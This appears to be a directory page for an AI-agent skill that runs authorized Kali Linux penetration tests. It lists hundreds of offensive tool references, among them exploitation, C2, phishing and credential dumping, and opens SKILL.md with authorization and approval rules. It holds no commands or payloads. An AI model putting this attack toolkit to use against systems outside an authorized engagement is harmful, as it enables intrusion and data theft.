Not in the top 1,000 by GitHub stars
x-glacier/kali-pentest
Kali Linux penetration testing skill for AI agents (Claude Code, OpenClaw, Hermes Agent). 200+ CLI tools, 15 scenario playbooks. Autonomously plans attack paths, selects tools, and integrates results across phases to adapt the penetration strategy — with human approval gates for high-risk actions.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
kali-pentest/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
43138c5eee3c → 43138c5eee3c
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 43138c5eee3c
No earlier version was observed for comparison.
kali-pentest-zh/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
43138c5eee3c → 43138c5eee3c
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 43138c5eee3c
No earlier version was observed for comparison.
Heat
4.0- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- kali-pentest
kali-pentest - kali-pentest-zh
kali-pentest-zh
How it works
kali-pentest
When your agent uses it
Execute authorized penetration testing via Kali Linux CLI tools over SSH or Docker. Covers: information gathering, vulnerability analysis, sniffing & spoofing, web/API testing, exploitation, password attacks, wireless, cloud-native security, RFID/NFC, VoIP/ICS, reverse engineering, forensics, post-exploitation/C2, and reporting.
What it loads into context
Frontmatter
122 tokensAlways available to the agent
SKILL.md
3,694 tokensWhen the skill is activated
Reference documents
338,593 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Security Constraints (Read First)
- Step 1: Determine Execution Environment
- Step 2: Plan
- Step 3: Execute
- Step 4: Analyze and Iterate
- Step 5: Report
- Reference Layout
Files
SKILL.mdcore17,362 bytesSKILL.mdcore17,362 bytesSKILL.mdcore17,362 bytesreferences/cloud-native/README.mddoc4,940 bytesreferences/cloud-native/tools/azurehound.mddoc4,393 bytesreferences/cloud-native/tools/docker-bench-security.mddoc2,112 bytesreferences/cloud-native/tools/kube-bench.mddoc1,824 bytesreferences/cloud-native/tools/kubescape.mddoc1,818 bytesreferences/cloud-native/tools/pacu.mddoc3,446 bytesreferences/cloud-native/tools/peirates.mddoc6,787 bytesreferences/cloud-native/tools/prowler.mddoc1,700 bytesreferences/cloud-native/tools/scoutsuite.mddoc1,381 bytesreferences/environment/README.mddoc1,589 bytesreferences/environment/docker-mode-networking.mddoc2,431 bytesreferences/environment/docker-mode-persistent-container.mddoc4,042 bytesreferences/environment/docker-mode.mddoc2,079 bytesreferences/environment/local-mode.mddoc954 bytesreferences/environment/server-mode.mddoc4,455 bytesreferences/environment/state-files.mddoc2,452 bytesreferences/exploitation/README.mddoc11,750 bytesreferences/exploitation/tools/chisel.mddoc3,377 bytesreferences/exploitation/tools/coercer.mddoc2,633 bytesreferences/exploitation/tools/dns2tcp.mddoc4,191 bytesreferences/exploitation/tools/evil-winrm.mddoc3,106 bytesreferences/exploitation/tools/evilginx2.mddoc2,483 bytesreferences/exploitation/tools/getsploit.mddoc2,229 bytesreferences/exploitation/tools/gophish.mddoc6,653 bytesreferences/exploitation/tools/impacket.mddoc11,733 bytesreferences/exploitation/tools/iodine.mddoc3,656 bytesreferences/exploitation/tools/ligolo-ng.mddoc3,404 bytesreferences/exploitation/tools/metasploit.mddoc11,987 bytesreferences/exploitation/tools/mitm6.mddoc2,850 bytesreferences/exploitation/tools/msfconsole.mddoc4,323 bytesreferences/exploitation/tools/msfvenom.mddoc9,047 bytesreferences/exploitation/tools/mssqlpwner.mddoc2,776 bytesreferences/exploitation/tools/netcat.mddoc4,704 bytesreferences/exploitation/tools/odat.mddoc3,265 bytesreferences/exploitation/tools/proxytunnel.mddoc2,336 bytesreferences/exploitation/tools/routersploit.mddoc3,224 bytesreferences/exploitation/tools/searchsploit.mddoc5,262 bytesreferences/exploitation/tools/setoolkit.mddoc1,108 bytesreferences/exploitation/tools/smbclient.mddoc3,074 bytesreferences/exploitation/tools/socat.mddoc3,012 bytesreferences/exploitation/tools/veil.mddoc3,043 bytesreferences/forensics/README.mddoc10,355 bytesreferences/forensics/tools/bulk-extractor.mddoc4,738 bytesreferences/forensics/tools/chainsaw.mddoc2,801 bytesreferences/forensics/tools/chkrootkit.mddoc2,785 bytesreferences/forensics/tools/dc3dd.mddoc3,105 bytesreferences/forensics/tools/dcfldd.mddoc3,508 bytesreferences/forensics/tools/ddrescue.mddoc3,790 bytesreferences/forensics/tools/exiftool.mddoc2,752 bytesreferences/forensics/tools/foremost.mddoc2,584 bytesreferences/forensics/tools/hashdeep.mddoc3,867 bytesreferences/forensics/tools/plaso.mddoc4,033 bytesreferences/forensics/tools/regripper.mddoc3,697 bytesreferences/forensics/tools/rkhunter.mddoc3,717 bytesreferences/forensics/tools/scalpel.mddoc2,967 bytesreferences/forensics/tools/sleuthkit.mddoc4,359 bytesreferences/forensics/tools/ssdeep.mddoc3,469 bytesreferences/forensics/tools/steghide.mddoc3,074 bytesreferences/forensics/tools/stegseek.mddoc2,740 bytesreferences/forensics/tools/tcpdump.mddoc2,975 bytesreferences/forensics/tools/tcpflow.mddoc3,728 bytesreferences/forensics/tools/testdisk.mddoc3,296 bytesreferences/forensics/tools/tshark.mddoc3,187 bytesreferences/forensics/tools/volatility.mddoc5,348 bytesreferences/forensics/tools/yara.mddoc3,591 bytesreferences/information-gathering/README.mddoc19,609 bytesreferences/information-gathering/tools/altdns.mddoc2,071 bytesreferences/information-gathering/tools/amass.mddoc9,906 bytesreferences/information-gathering/tools/arp-scan.mddoc2,167 bytesreferences/information-gathering/tools/assetfinder.mddoc2,074 bytesreferences/information-gathering/tools/autorecon.mddoc3,124 bytesreferences/information-gathering/tools/certgraph.mddoc3,709 bytesreferences/information-gathering/tools/cloud-enum.mddoc2,354 bytesreferences/information-gathering/tools/cloudbrute.mddoc2,314 bytesreferences/information-gathering/tools/dig.mddoc2,537 bytesreferences/information-gathering/tools/dmitry.mddoc2,170 bytesreferences/information-gathering/tools/dnsenum.mddoc1,983 bytesreferences/information-gathering/tools/dnsgen.mddoc1,705 bytesreferences/information-gathering/tools/dnsmap.mddoc2,029 bytesreferences/information-gathering/tools/dnsrecon.mddoc3,039 bytesreferences/information-gathering/tools/dnstwist.mddoc3,253 bytesreferences/information-gathering/tools/dnsx.mddoc3,042 bytesreferences/information-gathering/tools/eyewitness.mddoc2,685 bytesreferences/information-gathering/tools/fierce.mddoc2,772 bytesreferences/information-gathering/tools/finalrecon.mddoc2,609 bytesreferences/information-gathering/tools/findomain.mddoc2,805 bytesreferences/information-gathering/tools/fping.mddoc2,445 bytesreferences/information-gathering/tools/getallurls.mddoc2,746 bytesreferences/information-gathering/tools/gowitness.mddoc5,128 bytesreferences/information-gathering/tools/h8mail.mddoc4,168 bytesreferences/information-gathering/tools/hakrawler.mddoc2,404 bytesreferences/information-gathering/tools/hosthunter.mddoc2,878 bytesreferences/information-gathering/tools/httprobe.mddoc2,329 bytesreferences/information-gathering/tools/httpx.mddoc4,989 bytesreferences/information-gathering/tools/ldeep.mddoc5,391 bytesreferences/information-gathering/tools/masscan.mddoc4,143 bytesreferences/information-gathering/tools/massdns.mddoc2,039 bytesreferences/information-gathering/tools/metagoofil.mddoc3,374 bytesreferences/information-gathering/tools/naabu.mddoc2,808 bytesreferences/information-gathering/tools/nbtscan.mddoc2,317 bytesreferences/information-gathering/tools/netdiscover.mddoc2,971 bytesreferences/information-gathering/tools/nmap.mddoc9,083 bytesreferences/information-gathering/tools/p0f.mddoc2,391 bytesreferences/information-gathering/tools/recon-ng.mddoc7,030 bytesreferences/information-gathering/tools/sherlock.mddoc4,046 bytesreferences/information-gathering/tools/shodan.mddoc4,014 bytesreferences/information-gathering/tools/spiderfoot.mddoc3,074 bytesreferences/information-gathering/tools/subfinder.mddoc2,612 bytesreferences/information-gathering/tools/sublist3r.mddoc2,117 bytesreferences/information-gathering/tools/theHarvester.mddoc3,211 bytesreferences/information-gathering/tools/trufflehog.mddoc3,416 bytesreferences/information-gathering/tools/wafw00f.mddoc2,132 bytesreferences/information-gathering/tools/whatweb.mddoc5,437 bytesreferences/information-gathering/tools/whois.mddoc2,266 bytesreferences/password/README.mddoc13,508 bytesreferences/password/tools/brutespray.mddoc2,985 bytesreferences/password/tools/cewl.mddoc2,377 bytesreferences/password/tools/changeme.mddoc3,355 bytesreferences/password/tools/chntpw.mddoc2,625 bytesreferences/password/tools/crowbar.mddoc2,766 bytesreferences/password/tools/crunch.mddoc3,102 bytesreferences/password/tools/fcrackzip.mddoc2,418 bytesreferences/password/tools/gpp-decrypt.mddoc2,703 bytesreferences/password/tools/hashcat.mddoc5,016 bytesreferences/password/tools/hashid.mddoc2,223 bytesreferences/password/tools/hydra.mddoc4,815 bytesreferences/password/tools/john.mddoc3,533 bytesreferences/password/tools/kerbrute.mddoc3,032 bytesreferences/password/tools/medusa.mddoc3,654 bytesreferences/password/tools/name-that-hash.mddoc3,467 bytesreferences/password/tools/ncrack.mddoc3,550 bytesreferences/password/tools/netexec.mddoc3,418 bytesreferences/password/tools/patator.mddoc2,426 bytesreferences/password/tools/pdfcrack.mddoc3,097 bytesreferences/password/tools/rainbowcrack.mddoc3,125 bytesreferences/password/tools/responder.mddoc2,952 bytesreferences/playbooks/README.mddoc9,027 bytesreferences/playbooks/active-directory.mddoc15,053 bytesreferences/playbooks/api-security.mddoc20,335 bytesreferences/playbooks/cloud-native-assessment.mddoc19,007 bytesreferences/playbooks/external-attack-surface.mddoc8,987 bytesreferences/playbooks/forensics-triage.mddoc12,475 bytesreferences/playbooks/internal-network-protocols.mddoc7,093 bytesreferences/playbooks/internal-network.mddoc15,441 bytesreferences/playbooks/mobile-application.mddoc10,426 bytesreferences/playbooks/password-audit.mddoc9,560 bytesreferences/playbooks/post-exploitation.mddoc12,505 bytesreferences/playbooks/reporting-workflow.mddoc7,101 bytesreferences/playbooks/rfid-nfc.mddoc7,808 bytesreferences/playbooks/source-code-audit.mddoc9,362 bytesreferences/playbooks/voip-ics.mddoc19,229 bytesreferences/playbooks/web-application.mddoc16,098 bytesreferences/playbooks/wireless-assessment.mddoc10,849 bytesreferences/post-exploitation/README.mddoc13,339 bytesreferences/post-exploitation/tools/bloodhound.mddoc5,154 bytesreferences/post-exploitation/tools/bloodhound.py.mddoc4,235 bytesreferences/post-exploitation/tools/bloodyad.mddoc4,197 bytesreferences/post-exploitation/tools/certipy-ad.mddoc3,376 bytesreferences/post-exploitation/tools/dnscat2.mddoc3,754 bytesreferences/post-exploitation/tools/dploot.mddoc4,496 bytesreferences/post-exploitation/tools/havoc.mddoc4,143 bytesreferences/post-exploitation/tools/hekatomb.mddoc3,241 bytesreferences/post-exploitation/tools/krbrelayx.mddoc7,871 bytesreferences/post-exploitation/tools/lapsdumper.mddoc2,597 bytesreferences/post-exploitation/tools/linpeas.mddoc3,979 bytesreferences/post-exploitation/tools/linux-exploit-suggester.mddoc3,127 bytesreferences/post-exploitation/tools/lsassy.mddoc2,941 bytesreferences/post-exploitation/tools/mimikatz.mddoc4,593 bytesreferences/post-exploitation/tools/powershell-empire.mddoc4,401 bytesreferences/post-exploitation/tools/powersploit.mddoc6,118 bytesreferences/post-exploitation/tools/proxychains.mddoc2,329 bytesreferences/post-exploitation/tools/pspy.mddoc3,064 bytesreferences/post-exploitation/tools/pwncat.mddoc7,128 bytesreferences/post-exploitation/tools/sliver.mddoc1,524 bytesreferences/post-exploitation/tools/sshuttle.mddoc3,383 bytesreferences/post-exploitation/tools/winpeas.mddoc3,151 bytesreferences/reporting/README.mddoc3,034 bytesreferences/reporting/tools/pandoc.mddoc3,491 bytesreferences/reporting/tools/report-template.mddoc9,568 bytesreferences/reverse-engineering/README.mddoc6,514 bytesreferences/reverse-engineering/tools/apktool.mddoc1,951 bytesreferences/reverse-engineering/tools/binwalk.mddoc3,381 bytesreferences/reverse-engineering/tools/checksec.mddoc3,822 bytesreferences/reverse-engineering/tools/dex2jar.mddoc3,467 bytesreferences/reverse-engineering/tools/frida.mddoc2,586 bytesreferences/reverse-engineering/tools/ghidra-headless.mddoc3,227 bytesreferences/reverse-engineering/tools/jadx.mddoc2,367 bytesreferences/reverse-engineering/tools/ldd.mddoc2,069 bytesreferences/reverse-engineering/tools/nm.mddoc2,375 bytesreferences/reverse-engineering/tools/objdump.mddoc2,652 bytesreferences/reverse-engineering/tools/objection.mddoc3,296 bytesreferences/reverse-engineering/tools/rabin2.mddoc2,403 bytesreferences/reverse-engineering/tools/radare2.mddoc1,415 bytesreferences/reverse-engineering/tools/readelf.mddoc2,438 bytesreferences/reverse-engineering/tools/ropper.mddoc4,388 bytesreferences/reverse-engineering/tools/strings.mddoc2,463 bytesreferences/reverse-engineering/tools/xxd.mddoc2,320 bytesreferences/rfid-nfc/README.mddoc2,927 bytesreferences/rfid-nfc/tools/libnfc.mddoc2,282 bytesreferences/rfid-nfc/tools/opensc-tool.mddoc1,070 bytesreferences/rfid-nfc/tools/pkcs15-tool.mddoc1,279 bytesreferences/rfid-nfc/tools/proxmark3.mddoc3,509 bytesreferences/rfid-nfc/tools/scriptor.mddoc1,512 bytesreferences/sniffing-spoofing/README.mddoc6,904 bytesreferences/sniffing-spoofing/tools/bettercap.mddoc4,040 bytesreferences/sniffing-spoofing/tools/dnschef.mddoc2,844 bytesreferences/sniffing-spoofing/tools/dsniff.mddoc3,666 bytesreferences/sniffing-spoofing/tools/ettercap.mddoc2,566 bytesreferences/sniffing-spoofing/tools/hping3.mddoc2,797 bytesreferences/sniffing-spoofing/tools/macchanger.mddoc1,786 bytesreferences/sniffing-spoofing/tools/netsniff-ng.mddoc3,404 bytesreferences/sniffing-spoofing/tools/ngrep.mddoc3,451 bytesreferences/sniffing-spoofing/tools/scapy.mddoc2,977 bytesreferences/sniffing-spoofing/tools/sslstrip.mddoc2,586 bytesreferences/voip-ics/README.mddoc5,172 bytesreferences/voip-ics/tools/enumiax.mddoc1,408 bytesreferences/voip-ics/tools/ipmitool.mddoc5,751 bytesreferences/voip-ics/tools/modbus-cli.mddoc2,141 bytesreferences/voip-ics/tools/plcscan.mddoc1,572 bytesreferences/voip-ics/tools/sippts.mddoc5,193 bytesreferences/voip-ics/tools/sipvicious.mddoc1,954 bytesreferences/voip-ics/tools/voiphopper.mddoc1,631 bytesreferences/voip-ics/tools/yersinia.mddoc3,855 bytesreferences/vulnerability/README.mddoc10,854 bytesreferences/vulnerability/tools/enum4linux-ng.mddoc2,672 bytesreferences/vulnerability/tools/enum4linux.mddoc2,073 bytesreferences/vulnerability/tools/ike-scan.mddoc2,969 bytesreferences/vulnerability/tools/ismtp.mddoc2,368 bytesreferences/vulnerability/tools/lynis.mddoc3,617 bytesreferences/vulnerability/tools/nuclei.mddoc6,515 bytesreferences/vulnerability/tools/onesixtyone.mddoc2,444 bytesreferences/vulnerability/tools/openvas.mddoc5,039 bytesreferences/vulnerability/tools/smbmap.mddoc2,348 bytesreferences/vulnerability/tools/smtp-user-enum.mddoc3,579 bytesreferences/vulnerability/tools/snmpcheck.mddoc1,726 bytesreferences/vulnerability/tools/snmpwalk.mddoc2,639 bytesreferences/vulnerability/tools/sslscan.mddoc2,330 bytesreferences/vulnerability/tools/sslyze.mddoc4,564 bytesreferences/vulnerability/tools/swaks.mddoc4,576 bytesreferences/vulnerability/tools/testssl.sh.mddoc2,875 bytesreferences/vulnerability/tools/trivy.mddoc2,467 bytesreferences/web/README.mddoc15,805 bytesreferences/web/tools/arjun.mddoc2,510 bytesreferences/web/tools/clairvoyance.mddoc2,822 bytesreferences/web/tools/cmseek.mddoc2,706 bytesreferences/web/tools/commix.mddoc2,573 bytesreferences/web/tools/crlfuzz.mddoc2,172 bytesreferences/web/tools/dalfox.mddoc3,710 bytesreferences/web/tools/davtest.mddoc3,584 bytesreferences/web/tools/dirb.mddoc3,895 bytesreferences/web/tools/dirsearch.mddoc3,966 bytesreferences/web/tools/feroxbuster.mddoc3,128 bytesreferences/web/tools/ffuf.mddoc8,682 bytesreferences/web/tools/gitleaks.mddoc3,336 bytesreferences/web/tools/gobuster.mddoc8,860 bytesreferences/web/tools/gospider.mddoc2,473 bytesreferences/web/tools/graphw00f.mddoc2,108 bytesreferences/web/tools/grpcurl.mddoc3,150 bytesreferences/web/tools/joomscan.mddoc2,972 bytesreferences/web/tools/jwt_tool.mddoc3,028 bytesreferences/web/tools/katana.mddoc4,503 bytesreferences/web/tools/kiterunner.mddoc3,494 bytesreferences/web/tools/mitmproxy.mddoc6,456 bytesreferences/web/tools/mitmproxy2swagger.mddoc2,195 bytesreferences/web/tools/nikto.mddoc4,965 bytesreferences/web/tools/padbuster.mddoc3,791 bytesreferences/web/tools/phpggc.mddoc3,697 bytesreferences/web/tools/schemathesis.mddoc3,528 bytesreferences/web/tools/slowhttptest.mddoc4,380 bytesreferences/web/tools/sqlmap.mddoc10,718 bytesreferences/web/tools/sstimap.mddoc4,515 bytesreferences/web/tools/subjack.mddoc3,089 bytesreferences/web/tools/tinja.mddoc3,630 bytesreferences/web/tools/wapiti.mddoc4,843 bytesreferences/web/tools/websocat.mddoc1,532 bytesreferences/web/tools/weevely.mddoc3,458 bytesreferences/web/tools/wfuzz.mddoc8,964 bytesreferences/web/tools/wpscan.mddoc3,252 bytesreferences/web/tools/xsstrike.mddoc2,646 bytesreferences/web/tools/zaproxy.mddoc5,695 bytesreferences/wireless/README.mddoc11,471 bytesreferences/wireless/tools/airbase-ng.mddoc3,472 bytesreferences/wireless/tools/aircrack-ng.mddoc4,982 bytesreferences/wireless/tools/aireplay-ng.mddoc5,202 bytesreferences/wireless/tools/airgeddon.mddoc2,871 bytesreferences/wireless/tools/airmon-ng.mddoc3,017 bytesreferences/wireless/tools/airodump-ng.mddoc4,771 bytesreferences/wireless/tools/asleap.mddoc3,558 bytesreferences/wireless/tools/blueranger.mddoc966 bytesreferences/wireless/tools/bluesnarfer.mddoc1,632 bytesreferences/wireless/tools/btscanner.mddoc1,251 bytesreferences/wireless/tools/bully.mddoc3,650 bytesreferences/wireless/tools/cowpatty.mddoc2,115 bytesreferences/wireless/tools/crackle.mddoc1,245 bytesreferences/wireless/tools/eaphammer.mddoc3,042 bytesreferences/wireless/tools/fluxion.mddoc2,744 bytesreferences/wireless/tools/gatttool.mddoc2,360 bytesreferences/wireless/tools/hcitool.mddoc2,184 bytesreferences/wireless/tools/hcxtools.mddoc2,691 bytesreferences/wireless/tools/hostapd-mana.mddoc3,127 bytesreferences/wireless/tools/kismet.mddoc5,928 bytesreferences/wireless/tools/mdk4.mddoc3,067 bytesreferences/wireless/tools/pixiewps.mddoc2,388 bytesreferences/wireless/tools/reaver.mddoc4,541 bytesreferences/wireless/tools/sdptool.mddoc1,971 bytesreferences/wireless/tools/wifiphisher.mddoc4,428 bytesreferences/wireless/tools/wifipumpkin3.mddoc3,510 bytesreferences/wireless/tools/wifite.mddoc4,632 bytes
Read SKILL.md
# Kali Pentest Skill
## Security Constraints (Read First)
1. **Authorization is mandatory**: never scan or probe any target without confirmed written authorization from the user.
2. **Scope is binding**: only test the hosts, domains, ports, accounts, and techniques that the user has authorized.
3. **Risk confirmation**: High/Critical operations require explicit user approval before execution.
4. **Prohibited**: attacking unauthorized targets, destructive operations on production systems, modifying/deleting/encrypting target files without explicit request, attacking critical infrastructure.
High-risk operations include exploitation, credential spraying, brute forcing, NTLM relay, phishing, wireless attacks, persistence, data exfiltration, DoS-like scans, and intrusive vulnerability checks.
## Step 1: Determine Execution Environment
Check the user's message for connection details. If not provided, ask the user.View the complete source on GitHubkali-pentest-zh
When your agent uses it
通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
4,321 tokensWhen the skill is activated
Reference documents
377,488 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 安全约束(首先阅读)
- 第一步:确定执行环境
- 第二步:规划
- 第三步:执行
- 第四步:分析与迭代
- 第五步:报告
- 参考布局
Files
SKILL.mdcore15,981 bytesSKILL.mdcore15,981 bytesSKILL.mdcore15,981 bytesreferences/cloud-native/README.mddoc4,250 bytesreferences/cloud-native/tools/azurehound.mddoc4,101 bytesreferences/cloud-native/tools/docker-bench-security.mddoc1,948 bytesreferences/cloud-native/tools/kube-bench.mddoc1,752 bytesreferences/cloud-native/tools/kubescape.mddoc1,694 bytesreferences/cloud-native/tools/pacu.mddoc3,094 bytesreferences/cloud-native/tools/peirates.mddoc6,531 bytesreferences/cloud-native/tools/prowler.mddoc1,587 bytesreferences/cloud-native/tools/scoutsuite.mddoc1,262 bytesreferences/environment/README.mddoc1,470 bytesreferences/environment/docker-mode-networking.mddoc2,300 bytesreferences/environment/docker-mode-persistent-container.mddoc3,910 bytesreferences/environment/docker-mode.mddoc2,006 bytesreferences/environment/local-mode.mddoc946 bytesreferences/environment/server-mode.mddoc4,199 bytesreferences/environment/state-files.mddoc2,327 bytesreferences/exploitation/README.mddoc9,842 bytesreferences/exploitation/tools/chisel.mddoc3,245 bytesreferences/exploitation/tools/coercer.mddoc2,535 bytesreferences/exploitation/tools/dns2tcp.mddoc3,936 bytesreferences/exploitation/tools/evil-winrm.mddoc2,960 bytesreferences/exploitation/tools/evilginx2.mddoc2,271 bytesreferences/exploitation/tools/getsploit.mddoc2,098 bytesreferences/exploitation/tools/gophish.mddoc6,286 bytesreferences/exploitation/tools/impacket.mddoc11,161 bytesreferences/exploitation/tools/iodine.mddoc3,550 bytesreferences/exploitation/tools/ligolo-ng.mddoc3,370 bytesreferences/exploitation/tools/metasploit.mddoc11,279 bytesreferences/exploitation/tools/mitm6.mddoc2,615 bytesreferences/exploitation/tools/msfconsole.mddoc3,995 bytesreferences/exploitation/tools/msfvenom.mddoc8,703 bytesreferences/exploitation/tools/mssqlpwner.mddoc2,605 bytesreferences/exploitation/tools/netcat.mddoc4,532 bytesreferences/exploitation/tools/odat.mddoc3,064 bytesreferences/exploitation/tools/proxytunnel.mddoc2,235 bytesreferences/exploitation/tools/routersploit.mddoc2,986 bytesreferences/exploitation/tools/searchsploit.mddoc4,798 bytesreferences/exploitation/tools/setoolkit.mddoc1,015 bytesreferences/exploitation/tools/smbclient.mddoc2,862 bytesreferences/exploitation/tools/socat.mddoc2,918 bytesreferences/exploitation/tools/veil.mddoc2,936 bytesreferences/forensics/README.mddoc8,999 bytesreferences/forensics/tools/bulk-extractor.mddoc4,622 bytesreferences/forensics/tools/chainsaw.mddoc2,705 bytesreferences/forensics/tools/chkrootkit.mddoc2,670 bytesreferences/forensics/tools/dc3dd.mddoc2,920 bytesreferences/forensics/tools/dcfldd.mddoc3,314 bytesreferences/forensics/tools/ddrescue.mddoc3,698 bytesreferences/forensics/tools/exiftool.mddoc2,518 bytesreferences/forensics/tools/foremost.mddoc2,428 bytesreferences/forensics/tools/hashdeep.mddoc3,626 bytesreferences/forensics/tools/plaso.mddoc3,819 bytesreferences/forensics/tools/regripper.mddoc3,532 bytesreferences/forensics/tools/rkhunter.mddoc3,524 bytesreferences/forensics/tools/scalpel.mddoc2,691 bytesreferences/forensics/tools/sleuthkit.mddoc4,147 bytesreferences/forensics/tools/ssdeep.mddoc3,203 bytesreferences/forensics/tools/steghide.mddoc2,898 bytesreferences/forensics/tools/stegseek.mddoc2,567 bytesreferences/forensics/tools/tcpdump.mddoc2,840 bytesreferences/forensics/tools/tcpflow.mddoc3,487 bytesreferences/forensics/tools/testdisk.mddoc3,054 bytesreferences/forensics/tools/tshark.mddoc3,110 bytesreferences/forensics/tools/volatility.mddoc5,112 bytesreferences/forensics/tools/yara.mddoc3,407 bytesreferences/information-gathering/README.mddoc15,954 bytesreferences/information-gathering/tools/altdns.mddoc1,900 bytesreferences/information-gathering/tools/amass.mddoc9,357 bytesreferences/information-gathering/tools/arp-scan.mddoc1,940 bytesreferences/information-gathering/tools/assetfinder.mddoc1,896 bytesreferences/information-gathering/tools/autorecon.mddoc2,954 bytesreferences/information-gathering/tools/certgraph.mddoc3,429 bytesreferences/information-gathering/tools/cloud-enum.mddoc2,142 bytesreferences/information-gathering/tools/cloudbrute.mddoc2,165 bytesreferences/information-gathering/tools/dig.mddoc2,377 bytesreferences/information-gathering/tools/dmitry.mddoc2,029 bytesreferences/information-gathering/tools/dnsenum.mddoc1,779 bytesreferences/information-gathering/tools/dnsgen.mddoc1,577 bytesreferences/information-gathering/tools/dnsmap.mddoc1,884 bytesreferences/information-gathering/tools/dnsrecon.mddoc2,714 bytesreferences/information-gathering/tools/dnstwist.mddoc3,049 bytesreferences/information-gathering/tools/dnsx.mddoc2,835 bytesreferences/information-gathering/tools/eyewitness.mddoc2,437 bytesreferences/information-gathering/tools/fierce.mddoc2,568 bytesreferences/information-gathering/tools/finalrecon.mddoc2,467 bytesreferences/information-gathering/tools/findomain.mddoc2,515 bytesreferences/information-gathering/tools/fping.mddoc2,344 bytesreferences/information-gathering/tools/getallurls.mddoc2,491 bytesreferences/information-gathering/tools/gowitness.mddoc4,930 bytesreferences/information-gathering/tools/h8mail.mddoc3,977 bytesreferences/information-gathering/tools/hakrawler.mddoc2,360 bytesreferences/information-gathering/tools/hosthunter.mddoc2,659 bytesreferences/information-gathering/tools/httprobe.mddoc2,193 bytesreferences/information-gathering/tools/httpx.mddoc4,710 bytesreferences/information-gathering/tools/ldeep.mddoc5,029 bytesreferences/information-gathering/tools/masscan.mddoc3,878 bytesreferences/information-gathering/tools/massdns.mddoc1,919 bytesreferences/information-gathering/tools/metagoofil.mddoc3,099 bytesreferences/information-gathering/tools/naabu.mddoc2,717 bytesreferences/information-gathering/tools/nbtscan.mddoc2,241 bytesreferences/information-gathering/tools/netdiscover.mddoc2,684 bytesreferences/information-gathering/tools/nmap.mddoc8,563 bytesreferences/information-gathering/tools/p0f.mddoc2,106 bytesreferences/information-gathering/tools/recon-ng.mddoc6,712 bytesreferences/information-gathering/tools/sherlock.mddoc3,780 bytesreferences/information-gathering/tools/shodan.mddoc3,709 bytesreferences/information-gathering/tools/spiderfoot.mddoc2,779 bytesreferences/information-gathering/tools/subfinder.mddoc2,521 bytesreferences/information-gathering/tools/sublist3r.mddoc1,984 bytesreferences/information-gathering/tools/theHarvester.mddoc2,944 bytesreferences/information-gathering/tools/trufflehog.mddoc3,223 bytesreferences/information-gathering/tools/wafw00f.mddoc1,972 bytesreferences/information-gathering/tools/whatweb.mddoc5,202 bytesreferences/information-gathering/tools/whois.mddoc2,067 bytesreferences/password/README.mddoc12,082 bytesreferences/password/tools/brutespray.mddoc2,881 bytesreferences/password/tools/cewl.mddoc2,182 bytesreferences/password/tools/changeme.mddoc3,093 bytesreferences/password/tools/chntpw.mddoc2,532 bytesreferences/password/tools/crowbar.mddoc2,627 bytesreferences/password/tools/crunch.mddoc2,787 bytesreferences/password/tools/fcrackzip.mddoc2,389 bytesreferences/password/tools/gpp-decrypt.mddoc2,635 bytesreferences/password/tools/hashcat.mddoc4,750 bytesreferences/password/tools/hashid.mddoc2,194 bytesreferences/password/tools/hydra.mddoc4,469 bytesreferences/password/tools/john.mddoc3,312 bytesreferences/password/tools/kerbrute.mddoc2,903 bytesreferences/password/tools/medusa.mddoc3,375 bytesreferences/password/tools/name-that-hash.mddoc3,312 bytesreferences/password/tools/ncrack.mddoc3,349 bytesreferences/password/tools/netexec.mddoc3,301 bytesreferences/password/tools/patator.mddoc2,257 bytesreferences/password/tools/pdfcrack.mddoc2,947 bytesreferences/password/tools/rainbowcrack.mddoc3,005 bytesreferences/password/tools/responder.mddoc2,785 bytesreferences/playbooks/README.mddoc8,272 bytesreferences/playbooks/active-directory.mddoc14,335 bytesreferences/playbooks/api-security.mddoc19,038 bytesreferences/playbooks/cloud-native-assessment.mddoc18,044 bytesreferences/playbooks/external-attack-surface.mddoc8,321 bytesreferences/playbooks/forensics-triage.mddoc11,995 bytesreferences/playbooks/internal-network-protocols.mddoc6,704 bytesreferences/playbooks/internal-network.mddoc14,695 bytesreferences/playbooks/mobile-application.mddoc9,989 bytesreferences/playbooks/password-audit.mddoc9,256 bytesreferences/playbooks/post-exploitation.mddoc11,679 bytesreferences/playbooks/reporting-workflow.mddoc6,487 bytesreferences/playbooks/rfid-nfc.mddoc7,330 bytesreferences/playbooks/source-code-audit.mddoc8,589 bytesreferences/playbooks/voip-ics.mddoc17,747 bytesreferences/playbooks/web-application.mddoc15,012 bytesreferences/playbooks/wireless-assessment.mddoc9,879 bytesreferences/post-exploitation/README.mddoc11,286 bytesreferences/post-exploitation/tools/bloodhound.mddoc4,873 bytesreferences/post-exploitation/tools/bloodhound.py.mddoc4,105 bytesreferences/post-exploitation/tools/bloodyad.mddoc4,152 bytesreferences/post-exploitation/tools/certipy-ad.mddoc3,246 bytesreferences/post-exploitation/tools/dnscat2.mddoc3,590 bytesreferences/post-exploitation/tools/dploot.mddoc4,251 bytesreferences/post-exploitation/tools/havoc.mddoc3,938 bytesreferences/post-exploitation/tools/hekatomb.mddoc3,022 bytesreferences/post-exploitation/tools/krbrelayx.mddoc7,461 bytesreferences/post-exploitation/tools/lapsdumper.mddoc2,423 bytesreferences/post-exploitation/tools/linpeas.mddoc3,682 bytesreferences/post-exploitation/tools/linux-exploit-suggester.mddoc2,850 